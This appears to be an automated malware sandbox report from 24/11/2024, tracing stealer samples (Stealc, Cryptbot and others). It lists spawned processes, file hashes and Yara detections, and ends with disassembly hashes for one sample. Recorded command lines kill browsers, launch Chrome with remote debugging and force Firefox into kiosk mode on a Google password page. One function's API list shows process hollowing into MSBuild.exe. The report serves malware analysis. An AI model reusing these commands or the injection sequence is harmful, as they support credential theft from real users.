Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:24:12
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:24:13
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"
Imagebase:	0x7b0000
File size:	513'536 bytes
MD5 hash:	7DC51C5014010A56BD8A33D256831A30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:24:13
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"
Imagebase:	0x7b0000
File size:	513'536 bytes
MD5 hash:	7DC51C5014010A56BD8A33D256831A30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2558891081.00000000032B0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2525316848.00000000032B2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2562004467.00000000032B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:24:25
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe"
Imagebase:	0x50000
File size:	4'385'280 bytes
MD5 hash:	4D727EA77C6A382BCCBB1EE8970B67EE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Cryptbot, Description: Yara detected Cryptbot, Source: 0000000C.00000003.3257614525.00000000012E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Clipboard_Hijacker_5, Description: Yara detected Clipboard Hijacker, Source: 0000000C.00000003.3933389019.0000000001726000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	08:24:33
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe"
Imagebase:	0x410000
File size:	1'860'096 bytes
MD5 hash:	1EB940602D253A449C44E9ECFD4714C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:24:42
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe"
Imagebase:	0x480000
File size:	1'801'728 bytes
MD5 hash:	5EF73B409C0A81B7D80CCE15A2E83AD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.3218633907.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.2718635332.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.3207489291.0000000000481000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	08:24:47
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe"
Imagebase:	0x410000
File size:	1'860'096 bytes
MD5 hash:	1EB940602D253A449C44E9ECFD4714C4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2826165474.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	08:24:49
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe"
Imagebase:	0x540000
File size:	921'600 bytes
MD5 hash:	76F39BC0A5718AF31E2C979EE0DA0837
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000010.00000003.2864753465.000000000150F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:24:50
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x320000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:24:50
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:24:51
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:24:52
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x320000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:24:52
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2068,i,137062989363131379,3334334011690293707,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:24:52
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:24:53
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x320000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:24:53
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:24:54
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x320000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:24:54
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:24:54
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x320000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:24:54
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:24:55
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:24:55
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:24:55
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	08:24:55
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe"
Imagebase:	0x480000
File size:	1'801'728 bytes
MD5 hash:	5EF73B409C0A81B7D80CCE15A2E83AD9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000003.2853261373.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.3310520507.0000000000481000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	08:24:56
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {78dc1d96-0b76-4467-b815-40c13a0cb6b1} 6680 "\\.\pipe\gecko-crash-server-pipe.6680" 1d53a26dd10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	08:24:59
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4016 -parentBuildID 20230927232528 -prefsHandle 4128 -prefMapHandle 3956 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {001f3511-2f2e-4cf9-832b-7aa384c4ffa9} 6680 "\\.\pipe\gecko-crash-server-pipe.6680" 1d54c386410 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	08:25:00
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe"
Imagebase:	0xd00000
File size:	2'814'976 bytes
MD5 hash:	A96C40D05014AD3737C638DD279B0563
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	08:25:01
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8144 -s 1564
Imagebase:	0x630000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	08:25:04
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe"
Imagebase:	0x540000
File size:	921'600 bytes
MD5 hash:	76F39BC0A5718AF31E2C979EE0DA0837
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000029.00000003.2996946073.000000000124F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	08:25:04
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x320000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	08:25:04
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	08:25:06
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x320000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	08:25:06
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	08:25:07
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x320000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	08:25:07
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	08:25:07
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x320000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	08:25:07
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	08:25:08
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x320000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	08:25:08
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	08:25:08
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04E00C7D Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1757608526.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d944ec2d4d9d87406dc289b816b44c483abf887a0cb100e913ac61de98ebaaed
Instruction ID: 47bbe5bc489772700e8ae30a0cb5fd335dd20294d8faaabcd8d7413f1e04cfbe
Opcode Fuzzy Hash: d944ec2d4d9d87406dc289b816b44c483abf887a0cb100e913ac61de98ebaaed
Instruction Fuzzy Hash: CB018BEA30D101BEF101C4457A64BFA67ADE3D6730331E86AF467C6581F2A46A8A6231

Function 04E00C8A Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1757608526.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1fe738026eb72da314a7965e69dc92d4ebb082c5507de4a42c31993ff1d9b87
Instruction ID: 3a506dcc154420e9350edcfb81adb42bf3c9cce918de1c9259fae1d6bfbe7d62
Opcode Fuzzy Hash: b1fe738026eb72da314a7965e69dc92d4ebb082c5507de4a42c31993ff1d9b87
Instruction Fuzzy Hash: 8E1121BB30D011AEF200C4057AA4BFA579DE3D2330331E47BF426C6082F2556ACA3131

Function 04E00CA8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1757608526.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56bca5d45daabebf77e1e3b31a53f302be88fb72d1ed7369167967fbaabf024b
Instruction ID: 77feed69e0b3228672260a09ff8c185a96fd83b80b2e381290f375e2b0bc47a7
Opcode Fuzzy Hash: 56bca5d45daabebf77e1e3b31a53f302be88fb72d1ed7369167967fbaabf024b
Instruction Fuzzy Hash: E201B1AB30D111AEF101C4157B64BFA579DE3D6330331E86BF467C5181E69466CE2231

Function 04E00CE0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1757608526.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f2ba709ab580e7ab8676c0e157c10e74828d7730dc1fe13e17abec7c1ce31c0
Instruction ID: 6fabc6c067578323afbc5faad3eae80b43e58589e1d091e7e4e221c22860f194
Opcode Fuzzy Hash: 9f2ba709ab580e7ab8676c0e157c10e74828d7730dc1fe13e17abec7c1ce31c0
Instruction Fuzzy Hash: F30126EB20C1007FF10189517A24BFBAB9DF3D6334331E82FF4A3C1182E555168A2231

Function 04E00CBF Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1757608526.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78b65f6826ab5d7ff5bf5c36efe5039d282ca7061ce31e6461e4c5428e0c36b
Instruction ID: b0d4bee9b80bbf2b0fc20554c3a7d72d7679916c7f1f1aeed407af0a6c6ddd74
Opcode Fuzzy Hash: b78b65f6826ab5d7ff5bf5c36efe5039d282ca7061ce31e6461e4c5428e0c36b
Instruction Fuzzy Hash: 5701A2AA30C101AEF101C55576547F6579DE3D5330331E46BF467C6181E6546ACA6231

Function 04E00CD0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1757608526.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19ff127162552b1dd369c4093ad796bcf4366ed74e96c4bc5e4cdb76d27b4ac9
Instruction ID: a207418f2bad5c40511f19c8eafda6815035645979a3563503d736aae281a5fe
Opcode Fuzzy Hash: 19ff127162552b1dd369c4093ad796bcf4366ed74e96c4bc5e4cdb76d27b4ac9
Instruction Fuzzy Hash: 67F0AFDB218001AEF101C4557A58BFA575DE3E6234331E87AF467C5481E699A6CA3131

Function 04E00D04 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1757608526.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e0d2f8b063af4ef4f409b47b421eaf85b24ebc314669352d8d2a3e3bb5f7a57
Instruction ID: ec4daec057f90789e79a1cb913e0e37d1e4bc20beebff6cd3484c1ae21b2c319
Opcode Fuzzy Hash: 8e0d2f8b063af4ef4f409b47b421eaf85b24ebc314669352d8d2a3e3bb5f7a57
Instruction Fuzzy Hash: 64F04CAB6082507FE602D4643A18BFB6B6DE7CA730732D47FF862C5082E646464F5270

Analysis Process: r5mqFEC.exePID: 7276, Parent PID: 1364COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0.5%
Signature Coverage:	4.2%
Total number of Nodes:	1661
Total number of Limit Nodes:	22

Executed Functions

Function 007E018D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,007E00FF,007E00EF), ref: 007E0323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 007E0336
Wow64GetThreadContext.KERNELBASE(0000008C,00000000), ref: 007E0354
ReadProcessMemory.KERNELBASE(00000098,?,007E0143,00000004,00000000), ref: 007E0378
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 007E03A3
TerminateProcess.KERNELBASE(00000098,00000000), ref: 007E03C2
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 007E03FB
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 007E0446
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 007E0484
Wow64SetThreadContext.KERNELBASE(0000008C,031B0000), ref: 007E04C0
ResumeThread.KERNELBASE(0000008C), ref: 007E04CF

Strings

VirtualAllocEx, xrefs: 007E028B
SetThreadContext, xrefs: 007E02B1
GetP, xrefs: 007E020D
CreateProcessW, xrefs: 007E023F
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 007E0322
GetThreadContext, xrefs: 007E0265
TerminateProcess, xrefs: 007E03B2
ress, xrefs: 007E0215
WriteProcessMemory, xrefs: 007E029E
Load, xrefs: 007E01C9
ResumeThread, xrefs: 007E02C7
aryA, xrefs: 007E01D1
ReadProcessMemory, xrefs: 007E0278
